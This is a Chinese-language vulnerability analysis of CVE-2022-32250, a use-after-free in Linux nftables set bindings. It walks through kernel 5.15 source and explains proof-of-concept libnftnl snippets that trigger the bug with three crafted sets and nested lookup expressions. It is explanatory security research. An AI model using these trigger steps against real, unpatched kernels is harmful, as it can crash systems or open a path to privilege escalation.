Nftables漏洞原理分析（CVE-2022-32250）

蚁景网安实验室
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前言

在nftales中存在着集合(sets)，用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制，它可以用于各种网络过滤和转发规则。

而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y

CONFIG_NETFILTER_NETLINK=y

CONFIG_E1000=y

CONFIG_E1000E=y

CONFIG_USER_NS=y，开启命名空间

开启KASAN：make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

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在ubuntu20直接安装的libnftnl版本太低，因此需要去www.netfilter.org/projects/li…中下载

./configure --prefix=/usr && makesudo make install

漏洞验证

poc:seclists.org/oss-sec/202…

在运行poc时，KASAN检测出存在uaf漏洞

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漏洞原理

从KASAN给出的信息可知，该漏洞与set有关，因此从set的创建到使用进行源码分析。

在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置，若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,4206:               const struct nlattr * const nla[])4207: {        ...        //判断创建set的必备条件是否具备4227:   if (nla[NFTA_SET_TABLE] == NULL ||4228:       nla[NFTA_SET_NAME] == NULL ||4229:       nla[NFTA_SET_KEY_LEN] == NULL ||4230:       nla[NFTA_SET_ID] == NULL)4231:       return -EINVAL;        ...​

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c    ...4369:   set = kvzalloc(alloc_size, GFP_KERNEL);4370:   if (!set)4371:       return -ENOMEM;    ...

在成功创建集合后，就会进行初始化的过程，有一个变量需要重点关注，即set->bindings。

File: linux-5.15\net\netfilter\nf_tables_api.c    ...    //对集合做初始化4390:   INIT_LIST_HEAD(&set->bindings);4391:   INIT_LIST_HEAD(&set->catchall_list);4392:   set->table = table;4393:   write_pnet(&set->net, net);4394:   set->ops = ops;4395:   set->ktype = ktype;4396:   set->klen = desc.klen;4397:   set->dtype = dtype;4398:   set->objtype = objtype;4399:   set->dlen = desc.dlen;4400:   set->flags = flags;4401:   set->size = desc.size;4402:   set->policy = policy;4403:   set->udlen = udlen;4404:   set->udata = udata;4405:   set->timeout = timeout;4406:   set->gc_int = gc_int;    ...

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当初始化完毕之后，会去判断创建集合时，该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c    ...        //判断是否有表达式需要创建4416:   if (nla[NFTA_SET_EXPR]) {4417:       expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建4418:       if (IS_ERR(expr)) {4419:           err = PTR_ERR(expr);4420:           goto err_set_expr_alloc;4421:       }4422:       set->exprs[0] = expr;4423:       set->num_exprs++;    ...

在代码[1]处会对表达式进行初始化，紧接着在代码[2]处会对表达式的标志位进行校验，当表达式的标志位不具备NFT_EXPR_STATEFUL属性，那么就会跳转到[3]中进行销毁表达式的处理，紧接着返回错误。这里似乎会存在问题，因为代表[1]与[2]是先创建表达式再检验，就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,5310:                    const struct nft_set *set,5311:                    const struct nlattr *attr)5312: {5313:   struct nft_expr *expr;5314:   int err;5315: 5316:   expr = nft_expr_init(ctx, attr); --->[1]5317:   if (IS_ERR(expr))5318:       return expr;5319: 5320:   err = -EOPNOTSUPP;5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]5322:       goto err_set_elem_expr;5323:     ...5334: err_set_elem_expr:5335:   nft_expr_destroy(ctx, expr); --->[3]5336:   return ERR_PTR(err);5337: }​

回顾KASAN的报告，发现该漏洞与表达式nft_lookup有关，因此接下来关注一下lookup表达式初始化的过程。

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lookup表达式的结构体如下，可以看到在lookup结构体里存在着binding变量，是上面set会初始化的一个变量。

struct nft_lookup {    struct nft_set          *set; //集合    u8              sreg; //源寄存器    u8              dreg; //目的寄存器    bool                invert;     struct nft_set_binding      binding;};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {    struct list_head        list;    const struct nft_chain      *chain;    u32             flags;};

nft_lookup_init函数负责初始化lookup表达式，可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c095: static int nft_lookup_init(const struct nft_ctx *ctx,096:               const struct nft_expr *expr,097:               const struct nlattr * const tb[])098: {    ...        //检测set与源寄存器的值105:    if (tb[NFTA_LOOKUP_SET] == NULL ||106:        tb[NFTA_LOOKUP_SREG] == NULL)107:        return -EINVAL;    ...​

紧接着检索需要搜索的set。

File: linux-5.15\net\netfilter\nft_lookup.c        ...109:    set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],110:                    tb[NFTA_LOOKUP_SET_ID], genmask);111:    if (IS_ERR(set))112:        return PTR_ERR(set);        ...

最后在完成了set的搜索后，就会进行一个绑定操作，会将表达式的binging接入的set的binding。

File: linux-5.15\net\netfilter\nft_lookup.c    ...148:    err = nf_tables_bind_set(ctx, set, &priv->binding);149:    if (err < 0)150:        return err;    ...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,4607:              struct nft_set_binding *binding)4608: {        ...4615:   if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))4616:       return -EBUSY;        ...​

在通过上面的检测后，就会将当前表达式的加入到set中，

File: linux-5.15\net\netfilter\nf_tables_api.c        ...4643:   list_add_tail_rcu(&binding->list, &set->bindings);        ...​

综上所述，bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

在set创建时，会初始化bindings指向自己本身。

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紧接着若有lookup表达式创建，并绑定上述的set时，因此通过set的bingdings，可以检索在当前set上的所有expr。

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在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL，如[2]所示

5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]5322:       goto err_set_elem_expr;

在初始化lookup表达式时，是不会给flags设置值的，因此默认值即为0，因此在创建set的同时创建lookup表达式，lookup表达式的类型是默认为0，是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {    .name       = "lookup",    .ops        = &nft_lookup_ops,    .policy     = nft_lookup_policy,    .maxattr    = NFTA_LOOKUP_MAX,    .owner      = THIS_MODULE,};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:5335:   nft_expr_destroy(ctx, expr); --->[3]5336:   return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)2824: {2825:   nf_tables_expr_destroy(ctx, expr);2826:   kfree(expr);2827: }

在nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,2762:                  struct nft_expr *expr)2763: {2764:   const struct nft_expr_type *type = expr->ops->type;2765: 2766:   if (expr->ops->destroy)2767:       expr->ops->destroy(ctx, expr); //表达式的删除操作2768:   module_put(type->owner);2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c173: static void nft_lookup_destroy(const struct nft_ctx *ctx,174:                   const struct nft_expr *expr)175: {176:    struct nft_lookup *priv = nft_expr_priv(expr);177: 178:    nf_tables_destroy_set(ctx, priv->set);179: }

在nf_tables_destroy_set函数内部中有一个简单的判断，若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞，若我们创建的表达式lookup已经被绑定在set上，因此list_empty(&set->bindings为0，那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)4684: {4685:   if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空，以及`set`是否匿名4686:       nft_set_destroy(ctx, set);4687: }

由于lookup->destory不会执行任何操作，就会导致lookup表达式仍然残留在set->bingdings上，但是由于表达式的标志位不能通过校验，随后该表达式就会被释放。

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POC分析

首先创建一个名为set_stable的set，为后续创建lookup表达式做准备。

    set_name = "set_stable";    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_trigger的set，并同时将标志位设置为NFT_SET_EXPR，那么就能在创建set的同时创建表达式，创建的表达式为lookup表达式，并且搜索的set的名为set_stable，这里需要注意的是，第一个创建的set是为了后续的lookup表达式提供搜索的set，而第二次的set是为了创建set的同时创建lookup表达式，因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);    exprs[exprid] = nftnl_expr_alloc("lookup");    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);    // nest the expression into the set    nftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞，第三次的set同样的也仅仅是为了创建lookup表达式，由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针，因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中，从而导致的uaf漏洞。

    set_name = "set_uaf";    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);    exprs[exprid] = nftnl_expr_alloc("lookup");    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
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